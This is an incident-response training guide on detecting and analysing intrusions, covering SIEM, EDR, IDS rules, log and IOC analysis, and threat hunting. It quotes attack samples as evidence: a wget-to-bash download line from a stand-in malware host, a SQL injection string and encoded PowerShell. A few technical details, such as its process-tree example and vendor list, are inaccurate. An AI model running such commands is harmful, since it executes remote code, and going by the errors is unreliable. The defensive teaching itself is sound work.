# Detection and Analysis Phase — Finding and Understanding Incidents

#Detection #Analysis #IOC #ThreatHunting #Triage #SIEM #IncidentHandling #BlueTeam

> The Detection and Analysis phase is where incidents are discovered and understood. In this phase we answer critical questions: Is this a real incident or a false positive? How many systems are affected? What happened and when? This document provides comprehensive methodologies for detecting and analysing security incidents.

---

## 1. Detection Sources

Let's examine each detection source available to us, its capabilities, and limitations.

### Security Information and Event Management (SIEM)

A SIEM aggregates logs from all sources and applies rules to detect attack patterns.

**How It Works**:
- Collects logs from Windows Events, syslog, cloud services, applications
- Indexes logs in searchable format (Splunk, ELK, Azure Sentinel, Datadog)
- Applies correlation rules: if event A AND event B in timeframe X = alert
- Sends alerts to SOC team for investigation

**What It Detects**:
- Brute force login attempts (multiple failed logins)
- Privilege escalation (user granted admin access)
- Lateral movement (logon from unusual host)
- Data access anomalies (unusual user accessing unusual data)
- Account creation (new admin account created)
- Log tampering (Windows event log cleared)

**Configuration Example**:
```
Rule: Brute Force Attack Detection
Trigger: 10+ failed login attempts from single source in 5 minutes
Sources: Windows Event 4625 (logon failure)
Action: Alert, add IP to blocklist, notify SOC
```

**Limitations**:
- Rule tuning is difficult (too many false positives, team tunes rules down)
- Requires correct log shipping (if log collection fails, SIEM is blind)
- Lag between event and alert (depends on indexing speed)
- Cannot detect unknown attacks (zero-days, novel techniques)

**SIEM Tools**: Splunk, ELK Stack, Azure Sentinel, Datadog, SumoLogic, New Relic

---

### Intrusion Detection Systems (IDS/IPS)

IDS/IPS monitor network traffic for attack signatures.

**How It Works**:
- Captures network packets
- Compares against known attack signatures (like antivirus)
- IDS = alerts, IPS = blocks traffic
- Rules written in industry standard format

**What It Detects**:
- Known malware C2 traffic (beaconing patterns)
- Port scans (network reconnaissance)
- Exploit attempts (known vulnerabilities)
- Protocol anomalies (malformed packets, suspicious flags)
- Known botnet traffic

**Tools**: Snort, Suricata, Zeek (formally Bro)

**Example Snort Rule**:
```
alert http any any -> any 80 (msg:"Suspicious User-Agent";
  content:"User-Agent|3a|"; http_header;
  content:"curl"; nocase;
  sid:1000001;)
```

**Limitations**:
- Only detects known attacks (signature-based)
- High false positive rate (tuning required)
- Cannot read encrypted traffic (HTTPS, encrypted tunnels)
- Performance impact on network (requires tuning)
- Does not inspect inside encrypted payloads

---

### Endpoint Detection and Response (EDR)

EDR agents on endpoints monitor process execution, file activity, and network connections.

**How It Works**:
- Agent runs on endpoint (Windows, Linux, macOS)
- Monitors: process creation, registry changes, file modifications, network connections
- Sends data to centralised platform for analysis
- Platform applies detection rules
- Analyst can remotely execute commands on endpoint

**What It Detects**:
- Process injection (shellcode in legitimate process)
- Lateral movement tools (psexec, pass-the-hash)
- Credential theft (Mimikatz, password dumpers)
- Living-off-the-land binaries (LOLBins like PowerShell maliciously used)
- Ransomware (mass encryption activity)
- Memory-based attacks (detected through process analysis)

**Tools**: CrowdStrike Falcon, SentinelOne, Microsoft Defender, Tanium, Sensor Tower, Rapid7

**What the Output Shows**:
```
Process Tree:
  explorer.exe (PID: 4324)
    └─ powershell.exe (PID: 8992) [SUSPICIOUS]
         └─ conhost.exe (PID: 9004)

Network Connections:
  powershell.exe → 192.0.2.1:4444 (outbound TCP)

Severity: HIGH
Reason: Living-off-the-land binary (powershell) making external connection
```

**Advantages Over IDS**:
- Can see process context (not just network packet)
- Can detect encrypted attacks
- Can see memory-based malware
- Can perform remote containment (kill process, isolate endpoint)

---

### Antivirus / Antimalware Alerts

Antivirus engines scan files for malware signatures.

**How It Works**:
- File scanning: files on disk, downloads, emails
- Signature matching: file hash or content matches malware database
- Heuristics: executable behaviour analysis (generic detection)
- Reporting: alert sent to management console

**What It Detects**:
- Known malware (viruses, trojans, worms, ransomware)
- Unwanted software (adware, PUPs, potentially unwanted programmes)
- Suspicious files (files with suspicious entropy or packing)

**Limitations**:
- Signature-based: cannot detect unknown malware
- Heuristics often cause false positives
- Detection delay: files scanned on next scan, not immediately
- No context: just a file detected, no understanding of how it got there

---

### Firewall and Proxy Logs

Firewalls log all traffic, proxies log all HTTP/HTTPS traffic.

**What the Output Shows**:
```
Firewall Log:
2026-04-07 14:32:15 | SRC: 192.168.1.50 | DST: 185.220.100.1 |
PROTOCOL: TCP | PORT: 443 | ACTION: ALLOW | RULE: Internet_Access

Proxy Log:
2026-04-07 14:32:16 | CLIENT: 192.168.1.50 | METHOD: POST |
HOST: suspicious-domain.com | URI: /api/v1/beacon |
USER-AGENT: Mozilla/5.0 | STATUS: 200 | BYTES: 4096
```

**What It Detects**:
- Outbound connections to known malicious IPs/domains
- Data exfiltration (large data transfers to external destinations)
- C2 beaconing (regular connections to attacker infrastructure)
- Lateral movement (unusual internal connections)
- Web-based attacks (SQL injection, XSS in HTTP requests)

**Limitations**:
- Encrypted traffic: HTTPS content not visible
- High volume: millions of connections per day (requires analysis automation)
- Does not see lateral movement within network (if not passing through firewall)

---

### Email Security Gateways

Email security solutions scan inbound/outbound email for threats.

**Tools**: Proofpoint, Mimecast, Office 365 Advanced Threat Protection

**What It Detects**:
- Malicious URLs (phishing links)
- Malicious attachments (malware, exploits)
- Phishing emails (social engineering)
- Email spoofing (impersonation attempts)
- Data exfiltration (outbound sensitive data in email)

**How It Works**:
```
Inbound Email
  ↓
Virus scan (antivirus)
  ↓
URL rewriting (replace http with proxy URL for click tracking)
  ↓
Attachment sandboxing (execute suspicious files in isolated VM)
  ↓
Phishing rules (URL analysis, sender reputation, domain spoofing)
  ↓
Deliver (if clean) or Quarantine (if suspicious)
```

**Limitations**:
- Sandboxing evasion: malware with anti-sandbox techniques bypass detection
- Phishing rules: sophisticated phishing may bypass rules (homograph domains)
- False positives: legitimate emails quarantined

---

### DNS Security

DNS security solutions monitor DNS queries for malicious domains.

**Tools**: Cisco Umbrella, Pi-hole, DNSFilter, Quad9

**What It Detects**:
- DGA domains (algorithmically generated malware domains)
- Malware C2 domains (known attacker infrastructure)
- Botnet membership (queries to known botnet domains)
- DNS tunnelling (data exfiltration over DNS protocol)
- Ransomware payment domains

**Example Detection**:
```
Query: malware-c2.xyz
Answer: BLOCKED (domain on DNS blocklist)
Reason: Known malware C2 infrastructure

Query: *.cloudflare.com
Answer: ALLOWED (legitimate domain)
```

**Limitations**:
- Encrypted DNS (DNS-over-HTTPS, DNS-over-TLS): cannot inspect queries
- Legitimate domain with malware: cannot distinguish (whitelist or sinkhole)
- New domains: not yet in blocklists (zero-day domains)

---

### Network Traffic Analysis (NTA)

NTA solutions use machine learning to detect network anomalies.

**Tools**: Darktrace, ExtraHop, Corelight, Cisco Stealthwatch

**How It Works**:
- Monitors network traffic patterns continuously
- Learns normal baseline: what traffic is typical for your network
- Detects deviations: unusual volume, direction, protocol, timing
- Applies ML algorithms: isolation forest, anomaly scoring
- Alerts on unusual patterns

**What It Detects**:
- Lateral movement (unusual east-west traffic)
- Data exfiltration (unusual outbound volume)
- C2 beaconing (periodic connections to external hosts)
- DGA activity (connections to many domains)
- Compromised credentials (unusual login patterns)

**Example Alert**:
```
Anomaly: Host 192.168.1.50 connecting to 847 unique external IPs in 1 hour
Normal baseline: 5-10 unique IPs per hour
Risk: Mass scanning or distributed exfiltration
Severity: HIGH
```

**Advantages**:
- Detects unknown attacks (not signature-based)
- Baseline-aware (normal for your organisation)
- No need for encryption key (works on encrypted traffic)

**Limitations**:
- High false positive rate (requires tuning)
- Baseline training period (2-4 weeks for accurate baseline)
- Cannot see inside encrypted payloads

---

### Cloud Security Alerts

Cloud providers offer built-in security monitoring.

**Tools**: AWS GuardDuty, Azure Sentinel, GCP Security Command Centre

**AWS GuardDuty Example**:
```
Threat Type: UnauthorisedAccess:EC2/SuspiciousBehaviour
Summary: EC2 instance performing network reconnaissance
Details:
  - Instance: i-0f56c1234abcd
  - Activity: DNS query for known botnet domains
  - Confidence: HIGH
  - Action: ALERT (no automatic remediation)
```

**What It Detects**:
- Suspicious API calls (unusual access patterns)
- Cryptomining (high CPU usage, unusual EC2 behaviour)
- EC2 instance compromise (network anomalies)
- IAM credential compromise (unusual login locations/patterns)
- Data exfiltration (large S3 transfers)

---

### User and Entity Behaviour Analytics (UEBA)

UEBA solutions monitor user activities for anomalous behaviour.

**How It Works**:
- Establishes baseline: where does user log in, when, what data do they access
- Monitors: logins, data access, application usage
- Detects deviations: unusual location, time, data access
- Scores: risk score based on anomalies

**What It Detects**:
- Insider threats: employee accessing unusual data
- Compromised credentials: attacker logging in from unusual location
- Privilege abuse: admin accessing unusual systems
- Lateral movement: user accessing unusual systems

**Example Alert**:
```
User: john.smith@company.com
Anomaly: Logging in from 192.0.2.1 (Beijing, China) at 03:15 UTC
Normal: Logs in from London, UK office, 09:00-17:00 UTC
Risk Score: 92/100
Action: Require additional authentication
```

---

### Honeypots and Canary Tokens

Honeypots and canaries are deception mechanisms that alert on interaction.

**Honeypots**: Fake systems designed to attract attackers
- Dionaea: Low-interaction honeypot for malware collection
- Cowrie: SSH honeypot that emulates shell access
- Alert on: any connection to honeypot (no legitimate traffic expected)

**Canary Tokens**: Fake data designed to alert if accessed
- Fake credentials in text files
- Fake accounts in Active Directory
- Fake API keys in code repositories
- Alert on: any reference or use of the canary

**Example Alert**:
```
Canary Token Accessed: fake_admin_password.txt
Location: C:\Users\Administrator\Documents\
Accessed by: john.smith@company.com
Time: 2026-04-07 14:32:15
Action: Investigate immediately (no legitimate reason to access this file)
```

---

### Threat Intelligence Feeds / IOC Matching

IOC feeds from threat intelligence providers are matched against your data.

**IOC Types**:
- IP addresses (attacker infrastructure)
- Domain names (C2 domains, phishing sites)
- File hashes (malware samples)
- Email addresses (malicious actors)
- URLs (phishing sites, malware download sites)

**How It's Deployed**:
```
Threat Intel Feed (e.g., Abuse.ch):
  ↓
Import into SIEM/YARA/IDS rules:
  ↓
Match against: firewall logs, DNS queries, file hashes, email addresses
  ↓
Alert: If match found, alert with IOC source and confidence
```

**Example**:
```
File Scanned: update.exe
Hash (SHA-256): a1b2c3d4e5f6...
ThreatStream Feed: MATCH to known Emotet sample
Confidence: HIGH
Action: Quarantine and alert
```

---

### Third-Party Notifications

External parties may notify you of security issues.

**Sources**:
- **Bug Bounty Platforms**: HackerOne, Bugcrowd report vulnerabilities
- **Law Enforcement**: FBI, NCA contact about breach of your customers
- **Industry CERT**: FS-ISAC, H-ISAC alert about sector-wide attacks
- **Peer Organisations**: Information sharing groups (ISACs)
- **Threat Intelligence**: Vendor alerts about campaign targeting your industry

**Triage Process**:
1. Validate sender (confirm email/contact is legitimate)
2. Assess credibility (is information specific, detailed, plausible)
3. Cross-check internally (do we see indicators mentioned)
4. Notify CISO and IR lead
5. If credible: escalate immediately

---

### User Reports

Users reporting suspicious activity is an undervalued detection source.

**User Report Sources**:
- Email: "I received a suspicious email"
- Desktop alert: "My computer is locked and asking for ransom"
- Unusual activity: "My password was reset but I didn't do it"
- Suspicious request: "Someone is asking for my password"

**Triage User Reports**:
1. Thank user and ask for details
2. Ask specific questions: When? What exactly? What did you do?
3. If credential phishing: force password reset immediately
4. If malware suspected: isolate endpoint from network
5. Engage IR lead for confirmation

---

## 2. Initial Triage Process

Triage is the process of validating alerts and determining if an incident has truly occurred.

### Step 1: Alert Validation (True Positive vs False Positive)

Let's examine how to determine if an alert is real.

**True Positive Check**:
- Can we verify the activity occurred? (check multiple sources)
- Does it match the alert description exactly?
- Is the time/user/host correct?
- Is there a plausible explanation? (scheduled task, maintenance, legitimate tool use)

**Example: Brute Force Alert**

```
Alert Details:
  Source IP: 192.168.1.50
  Target System: DC-01 (domain controller)
  Failed Logins: 15 in 5 minutes
  Accounts Targeted: User1, User2, Admin

Validation Steps:
  1. Check Windows Event Log (Event 4625) on DC-01
     Output: Confirmed 15 events, matches alert
  2. Identify source IP owner
     Output: 192.168.1.50 = password reset service
  3. Check if password reset was scheduled
     Output: Yes, change password campaign running today
  4. Conclusion: TRUE POSITIVE (service attempting logins)
     Note: Alert correctly triggered, but legitimate activity
     Action: Close as known good activity (potential tuning opportunity)
```

**False Positive Check**:
- Is this known benign activity? (scheduled task, backup, monitoring tool)
- Does it happen regularly? (if so, it's not an incident)
- Can it be whitelisted? (add to exclusion list)

---

### Step 2: Scope Determination

Understanding scope answers "How many systems/users/records are affected?"

**Scope Questions**:
- Which hosts show signs of compromise?
- Which user accounts are affected?
- Which data/services are affected?
- Is it network-wide or isolated?

**Scope Determination Methods**:

**Method 1: Log Analysis**
```
Alert shows user account "john.smith" accessing unusual files.
Action: Search SIEM for all john.smith activity in last 24 hours
Output:
  - Accessed 150 files in Finance share (unusual)
  - Accessed from IP 192.168.1.50 (home network)
  - Activity from 03:15 UTC (unusual time)
Scope: Single user account from unusual location
```

**Method 2: Endpoint Scanning**
```
Alert shows malware detected on PROD-WEB-01.
Action: Scan all web servers for same malware hash
Output:
  - PROD-WEB-01: malware found (2 instances)
  - PROD-WEB-02: malware found (1 instance)
  - PROD-WEB-03: CLEAN
  - PROD-WEB-04: CLEAN
Scope: 2 of 4 web servers compromised
```

**Method 3: Network Analysis**
```
Alert shows unusual outbound traffic from PROD-DB-01.
Action: Review firewall logs for similar traffic from other hosts
Output:
  - PROD-DB-01: 847 connections to 192.0.2.1 (suspicious)
  - PROD-APP-03: 23 connections to 192.0.2.1 (unusual)
  - No other systems show traffic to 192.0.2.1
Scope: Likely 2 systems, possibly cross-connected
```

---

### Step 3: Initial Severity Assignment

Severity determines response speed and resource allocation.

**Severity Assessment Criteria**:

| **Severity** | **Criteria** | **Response Time** |
|---|---|---|
| **CRITICAL** | Active attack ongoing, data exfil in progress, business-wide impact | <15 minutes escalate |
| **HIGH** | Active attack, multiple systems affected, data at risk | <1 hour escalate |
| **MEDIUM** | Attack contained, single system/user, data not confirmed at risk | <4 hours respond |
| **LOW** | Potential policy violation, no confirmed attack, minimal impact | <24 hours respond |

**Example Severity Assessment**:

```
Alert: Ransomware detected on PROD-FILE-SRV-01

Assessment:
- Active encryption observed (file extensions changing)
- CRITICAL (active attack ongoing)
- Data exfiltration not confirmed (no outbound traffic)
- File server down (business impact = HIGH)
- Backup systems: not encrypted (recovery possible)
- Scope: File server only, not enterprise-wide

Severity: CRITICAL (due to active encryption ongoing)
Reason: Requires immediate isolation and containment
```

---

### Step 4: Evidence Collection Checklist (Initial)

At triage stage, preserve evidence for later analysis.

**Volatile Data** (lost on shutdown):
- [ ] Memory dump (if potential malware)
- [ ] Running processes (tasklist /v)
- [ ] Network connections (netstat -abno)
- [ ] Logged-in users (query user)
- [ ] Open files (Openfiles /query)

**Semi-Volatile Data** (preserved when shut down):
- [ ] Filesystem images (disk imaging)
- [ ] Registry hive copies (if Windows)
- [ ] Application files (if malware suspected)
- [ ] Event logs (export to file)

**Non-Volatile Data** (permanent):
- [ ] Disk contents (logical copy)
- [ ] File metadata (copy with timestamps)
- [ ] Historical logs (exported SIEM data)

---

### Step 5: Triage Timeline

Incident triage must follow strict timeline discipline.

**First 15 Minutes**:
- Confirm incident is real (not false positive)
- Notify IR on-call and IR manager
- Assign incident ID
- Determine initial severity (rough estimate ok)

**First 30 Minutes**:
- Gather initial evidence (memory, network capture, basic logs)
- Identify affected systems (preliminary scope)
- Preserve evidence (chain of custody begins)
- Start incident timeline document

**First Hour**:
- Alert CISO if severity >= HIGH
- Alert Legal if data breach suspected
- Alert Communications if customer-facing impact
- Begin detailed analysis
- Refine severity assessment

**Within 4 Hours**:
- Containment decision made (IR manager authorises)
- Root cause hypothesis developed
- Escalation confirmed or resolved

---

## 3. Indicators of Compromise Analysis

IOCs are evidence that a system has been compromised. Let's examine each category.

### 3.1 Network-Based IOCs

Network-based IOCs tell us about attacker infrastructure and communication.

#### Suspicious IP Addresses

**Types**:
1. **Known Malicious IPs**: Attacker C2 servers, DDoS infrastructure, botnets
2. **Anomalous Connections**: Internal host connecting to unexpected external IP
3. **Geographically Suspicious**: Connection from country where no business
4. **Darknet IPs**: Tor exit nodes, proxy services

**Analysis Approach**:

```
Firewall Log shows: PROD-DB-01 → 192.0.2.1:443 (outbound TCP)

Investigation:
  1. What is 192.0.2.1?
     Lookup: abuseipdb.com, shodan.io, threatstream.com
     Result: Known Emotet C2 server
  2. How many connections from PROD-DB-01 to this IP?
     Query SIEM: 847 connections over 6 hours
  3. What times/pattern?
     Result: Regular beaconing, every ~30 seconds
  4. Are there other hosts connecting to this IP?
     Query: Only PROD-DB-01, no other internal hosts
  5. Conclusion: PROD-DB-01 is compromised with Emotet
```

**IOC Enrichment**:
- IP reputation services: AbuseIPDB, Shodan, MaxMind Geolocation
- Threat intel feeds: Abuse.ch, Spamhaus, Team Cymru
- ASN lookup: understand infrastructure ownership
- Reverse DNS: any resolvable hostname

---

#### C2 Beaconing Patterns

C2 beacons are periodic connections to attacker command & control servers. They indicate active malware.

**Beaconing Characteristics**:
- **Periodicity**: Connection every 30 seconds, every 5 minutes, daily (regular interval)
- **Data Size**: Consistent size (e.g., 256 bytes each time)
- **Protocol**: Often HTTPS (encrypted), occasionally HTTP, DNS, NTP
- **Timing**: May follow schedule (business hours, specific times)
- **Destination**: Connection to single IP or domain, not rotating

**Beaconing Detection**:

```
Network Timeline Analysis:
Time       Source      Dest          Protocol  Size  Interval
14:32:15   192.168.1.1 185.220.100.1 HTTPS     256   —
14:32:45   192.168.1.1 185.220.100.1 HTTPS     256   30s
14:33:15   192.168.1.1 185.220.100.1 HTTPS     256   30s
14:33:45   192.168.1.1 185.220.100.1 HTTPS     256   30s
14:34:15   192.168.1.1 185.220.100.1 HTTPS     256   30s

Conclusion: Beaconing pattern detected (every 30 seconds)
Confidence: VERY HIGH (5 consecutive intervals identical)
```

**Contrast with Legitimate Traffic**:
```
Legitimate (CDN traffic):
- Variable sizes (depends on response)
- Variable intervals (user-driven)
- Multiple destinations (load balancing)

Malicious (C2 beacon):
- Fixed size (C2 protocol)
- Fixed interval (check-in period)
- Single destination (C2 server)
```

---

#### DNS Anomalies

DNS queries reveal what domains a system is trying to reach.

**Types of DNS Anomalies**:

1. **DGA Domains**: Algorithmically generated domains (Conficker, Necurs, Emotet)
   ```
   Query: asdfjkl.com (no results)
   Query: qwertyuiop.ru (no results)
   Query: zxcvbnm.xyz (no results)
   Pattern: Random strings, multiple failures, rotating daily
   Conclusion: Likely DGA malware
   ```

2. **DNS Tunnelling**: Data exfiltration over DNS
   ```
   Normal DNS query: host.example.com → 192.168.1.1
   Tunnelled data:
     exfil.example.com → 192.168.1.1 (query contains base64 data)
     example.com response contains exfiltrated data encoded
   Detection: Abnormally long DNS queries, many queries to same domain
   ```

3. **Unusual Query Types**: Non-standard DNS queries
   ```
   Normal: A record (IPv4), MX (mail), CNAME (alias)
   Suspicious:
     - TXT records (unusual for benign apps)
     - ANY records (reconnaissance)
     - SOA queries (reconnaissance)
   ```

---

#### Unusual Protocols or Ports

**Suspicious Protocol/Port Combinations**:

| **Protocol** | **Suspicious If** | **Example** |
|---|---|---|
| SSH (22) | From workstation to workstation | Lateral movement attempt |
| RDP (3389) | From external IP to internal server | Remote access attack |
| DNS (53) | Large data transfer | DNS tunnelling exfiltration |
| NTP (123) | Bidirectional, unusual volume | Amplification DDoS or tunnelling |
| SMTP (25) | Outbound from workstation | Spam/malware dissemination |
| HTTP (80) | To non-standard port or IP | C2 communication |

---

### 3.2 Host-Based IOCs

Host-based IOCs indicate compromise of individual systems.

#### Suspicious Processes

Process analysis is one of the most important IR techniques.

**Process Analysis Questions**:
1. **Is the process name legitimate?** (explorer.exe is Windows; power.exe is not)
2. **Is the process location correct?** (legitimate processes in System32, not Temp)
3. **Is the process parent correct?** (explorer.exe from winlogon.exe is normal; from cmd.exe is suspicious)
4. **Is the process command-line normal?** (powershell.exe normal, but powershell.exe -encodedcommand is suspicious)
5. **What is the process doing?** (network connections, files created, registry changes)

**Example: Suspicious Process Detection**

```
Process Found: update.exe
- Path: C:\Users\john\AppData\Local\Temp\update.exe
- Parent: explorer.exe (PID 4324)
- Command Line: update.exe -u admin -p <encoded>
- Network Connections: 185.220.100.1:443 (HTTPS outbound)
- File Activity: Creates files in C:\Users\john\AppData\Roaming\Microsoft\

Red Flags:
  1. Temp folder location (not Systems)
  2. Parent explorer.exe (suspicious for executable parent)
  3. Command-line with username/password (credential theft likely)
  4. Outbound HTTPS (C2 communication)
  5. Roaming folder persistence (survives reboot)

Verdict: MALWARE — Likely credential stealer or botnet client
```

**Process Parent-Child Relationships**:

```
Normal Process Tree:
  services.exe (system process)
    └─ svchost.exe (Windows service)
         └─ smss.exe (Session Manager)

Suspicious Process Tree:
  explorer.exe (user shell)
    └─ cmd.exe (command prompt — suspicious if user didn't open it)
         └─ powershell.exe (PowerShell — suspicious if malicious commands)
         └─ whoami.exe (enumeration command)
         └─ net.exe (lateral movement command)

Conclusion: Command execution from explorer, likely attacker commands
```

---

#### Registry Persistence Mechanisms

Attackers use registry to ensure malware survives reboots.

**Common Persistence Mechanisms**:

1. **Run Keys** (Auto-start on user login):
   ```
   HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
     Value: "Adobe Update" → C:\Temp\malware.exe

   HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
     Value: "Windows Update Service" → C:\Malware.exe

   Note: Legitimate values point to System32; suspicious point to Temp, Users, or unusual paths
   ```

2. **Services** (Auto-start with system):
   ```
   HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MalwareService
     DisplayName: "Windows Network Manager"
     ImagePath: C:\Windows\Temp\malware.exe
     Start: 2 (auto-start on boot)
   ```

3. **Scheduled Tasks** (Execute at scheduled times):
   ```
   C:\Windows\System32\Tasks\Microsoft\Windows\MalwareTask
     Action: Execute C:\Malware.exe
     Trigger: Daily at 02:00 UTC
   ```

**Registry Analysis Approach**:
```
1. Export registry hives from suspicious system
2. Use registry editor or regripper to search for suspicious entries
3. Look for: Temp paths, non-standard folders, unknown executable names
4. Cross-reference against known-good registry baseline
5. Document all suspicious entries with full path and values
6. Calculate hash of registry hives for integrity verification
```

---

#### File System Artifacts

Filesystem analysis reveals what activity occurred on the system.

**File Timestamp Analysis**:

```
File: C:\Users\john\AppData\Local\Temp\malware.exe

Timestamps:
  Created:     2026-04-07 14:25:30 UTC
  Modified:    2026-04-07 14:25:30 UTC
  Accessed:    2026-04-07 14:26:15 UTC (execution)
  MFT Changed: 2026-04-07 14:30:45 UTC (metadata modified)

Analysis:
  - File created same time as potential phishing click
  - Accessed 45 seconds later (likely execution)
  - MFT changed 5 minutes later (possible attacker attempting to hide by modifying timestamps)

Timeline Integration:
  14:25:00 - Phishing email received
  14:25:30 - Attachment extracted to Temp folder
  14:26:15 - Malware executed
  14:30:45 - Timestamps modified (anti-forensics attempt)
```

**Hidden Files and Folders**:
```
Attributes to check:
  - Hidden bit: file not visible in normal explorer
  - System bit: system file (often combined with hidden)
  - Archive bit: file needs backup (can indicate recent changes)
  - Compressed: file is compressed (may hide in low disk space)

Suspicious locations:
  - C:\$Recycle.Bin (deleted files)
  - C:\System Volume Information (shadow copies, restore points)
  - Alternate Data Streams (hidden data in NTFS)
    Example: file.txt:malware.exe (hidden executable in file stream)
```

---

#### Memory-Based Anomalies

Memory analysis reveals running processes, injected code, and network connections.

**Memory Forensics Tools**: Volatility, Rekall, MemProcFS

**Key Memory Indicators**:

1. **Process Injection**:
   ```
   Volatility output:
   Process: explorer.exe (PID 4324)
   Injected Code: shellcode at 0x6f940000 (not part of image)
   Characteristics: R/W/X permissions (unusual for data section)

   Conclusion: Shellcode injected into explorer.exe (likely from malware)
   ```

2. **Hidden Processes** (Rootkit):
   ```
   pslist output: 4324 explorer.exe
   But scanprocs shows: additional process at kernel mode
   Conclusion: Rootkit hiding process from usermode tools
   ```

3. **Network Connections**:
   ```
   netscan output:
   malware.exe → 185.220.100.1:443 (HTTPS C2)
   cmd.exe → 192.168.1.0/24 (network propagation)
   ```

---

### 3.3 Log-Based Analysis

Event logs document system activity and are invaluable for IR analysis.

#### Windows Event IDs for Incident Response

**Authentication Events**:

| **Event ID** | **Description** | **IR Relevance** |
|---|---|---|
| 4624 | Successful logon | Timeline: when did attacker access system |
| 4625 | Failed logon | Brute force detection, credential spray |
| 4648 | Explicit credential use | Lateral movement (attacker using stolen creds) |
| 4672 | Admin logon | Privilege escalation detection |

**Example Analysis**:
```
4624 event details:
  Time: 2026-04-07 14:32:15
  Account: john.smith
  Logon Type: 3 (network logon)
  Source IP: 192.168.1.50
  Target: DC-01 (domain controller)

Investigation:
  - Logon type 3 = network share access (normal for file server)
  - But IP 192.168.1.50 is not john's normal workstation
  - Reverse DNS: 192.168.1.50 = attacker-controlled host

Conclusion: Compromised credentials, attacker accessed as john.smith
```

**Process Execution Events**:

| **Event ID** | **Description** | **IR Relevance** |
|---|---|---|
| 4688 | Process creation | Detect malware execution, command execution |
| 4689 | Process terminated | Timeline of attack, process duration |

**Example**:
```
4688 event:
  Time: 2026-04-07 14:32:45
  Parent Image: C:\Windows\System32\svchost.exe
  Image: C:\Windows\System32\cmd.exe
  Command Line: cmd.exe /c powershell.exe -enc [base64]

Red Flag:
  - svchost.exe (system service) spawning cmd.exe (unusual)
  - Encoded PowerShell (likely malicious)

Verdict: Likely privilege escalation from service account
```

**Account Management Events**:

| **Event ID** | **Description** | **IR Relevance** |
|---|---|---|
| 4720 | Account created | Attacker persistence via new admin account |
| 4726 | Account deleted | Attacker covering tracks |
| 4722 | Account enabled | Reactivated dormant account for persistence |
| 4738 | Account modified | Changed group membership (privilege escalation) |

**Persistence Events**:

| **Event ID** | **Description** | **IR Relevance** |
|---|---|---|
| 4698 | Scheduled task created | Attacker persistence mechanism |
| 7045 | New service installed | Windows service for malware (persistent) |
| 1102 | Audit log cleared | Attacker covering tracks |

**Example — Audit Log Cleared**:
```
1102 event:
  Time: 2026-04-07 18:00:00
  Account: john.smith
  Task Category: Audit Log

Investigation:
  - Event log cleared at 18:00
  - john.smith is regular user (no admin rights)
  - john.smith was not logged in at that time

Conclusion: Attacker with stolen admin credentials cleared logs
Action: Isolate system, preserve all evidence before shutdown
```

---

#### Linux Log Analysis

**Key Log Files for IR**:

| **Log File** | **Contains** | **IR Use** |
|---|---|---|
| /var/log/auth.log | Authentication attempts, sudo usage | Detect brute force, privilege escalation |
| /var/log/syslog | System messages, service starts | Timeline, service status changes |
| /var/log/audit/audit.log | Kernel audit (if configured) | Process execution, file access, capability usage |
| .bash_history | Command history (in home directory) | Attacker commands, lateral movement |
| /var/log/apache2/access.log | Web server access | Detect web application attacks |

**Example Analysis**:
```
/var/log/auth.log shows:
Apr 7 14:32:15 host sshd[12345]: Failed password for invalid user attacker from 192.0.2.1

/var/log/audit/audit.log shows:
type=EXECVE msg=audit(1617816735.123:4567): argc=3 a0="/bin/bash" a1="-c"
  a2="/usr/bin/wget http://malware.com/bot.sh | bash"

Analysis:
  - Failed SSH attempts (brute force detection)
  - If successful: attacker would download and execute bot script
  - Malware URL: malware.com/bot.sh

Action: Block malware.com at firewall, search for successful connections
```

---

#### Web Server Log Analysis

Web server logs reveal application-level attacks.

**Apache/Nginx Access Log Format**:
```
192.168.1.50 - - [07/Apr/2026 14:32:15 +0000]
  "POST /api/login HTTP/1.1" 401 523 "-" "Mozilla/5.0" 1234
```

**IR-Relevant Patterns**:

```
Pattern 1: SQL Injection Attempt
  Request: GET /products.php?id=1' OR '1'='1 HTTP/1.1
  Status: 500 (error)
  Analysis: Attacker attempting SQL injection, but failed (WAF blocked)

Pattern 2: Large Data Download
  Request: GET /backup/database.zip HTTP/1.1
  Status: 200
  Bytes: 2147483648 (2GB)
  Analysis: Attacker downloading entire database (data exfiltration)

Pattern 3: Reconnaissance
  Request: GET /admin HTTP/1.1 (403 Forbidden)
  Request: GET /wp-admin HTTP/1.1 (403 Forbidden)
  Request: GET /.git/config HTTP/1.1 (404 Not Found)
  Analysis: Attacker scanning for common paths (reconnaissance)
```

---

## 4. Threat Hunting Fundamentals

Threat hunting is proactive searching for compromise indicators. Unlike detection (alert-driven), hunting is hypothesis-driven exploration.

### Hypothesis-Driven Hunting

Develop a hunting hypothesis based on threat intelligence.

**Hypothesis Format**:
```
"If [attacker capability] is present in our environment, we would see [evidence/indicator]"

Example:
"If attackers have used living-off-the-land binaries for credential theft,
we would see PowerShell.exe with suspicious command-line arguments loading
Mimikatz-like functionality, spawning from unusual parent processes,
and making outbound connections to attacker infrastructure."
```

**Hypothesis Development**:
1. Review threat intelligence (recent campaigns targeting industry)
2. Identify attacker techniques used (MITRE ATT&CK)
3. Determine what evidence this technique leaves
4. Craft hypothesis around that evidence
5. Search your environment for the evidence

---

### TTP-Based Hunting Using MITRE ATT&CK

MITRE ATT&CK is a framework of attacker Tactics, Techniques, and Procedures.

**Hunting by Technique**:

```
Technique: Lateral Movement via WMI (T1047)

Evidence:
  - Process: WmiPrvSE.exe (WMI Provider Service)
  - Parent: unusual process spawning WMI
  - Command: wmic.exe with /node:[target] parameter
  - Network: connections to ports 135, 445 (RPC, SMB)

Hunt Query (SIEM):
  Process parent-child: [*] → WmiPrvSE.exe
  OR Command-line: wmic.exe AND /node:
  OR Network: destination port 135 OR 445 from unusual source

Action: Investigate any matches, verify legitimacy, escalate if suspicious
```

---

## 5. Malware Analysis Fundamentals

When malware is detected, analysis determines its capabilities and impact.

### Static Analysis

Static analysis examines a malware sample without executing it.

**Tools**: PEStudio, FLOSS, strings, objdump, Ghidra

**Techniques**:

1. **File Hashing**:
   ```
   Hash file and check against known malware databases
   MD5: a1b2c3d4e5f6... → AbuseIPDB: Known Emotet sample
   SHA-256: [hash] → VirusTotal: Detected by 50/60 AV engines
   ```

2. **Strings Extraction**:
   ```
   strings malware.exe | grep -i "http\|domain\|C2"
   Output:
     http://malware-c2.com/api/beacon
     http://192.0.2.1:8080
     cmd.exe /c powershell.exe
   ```

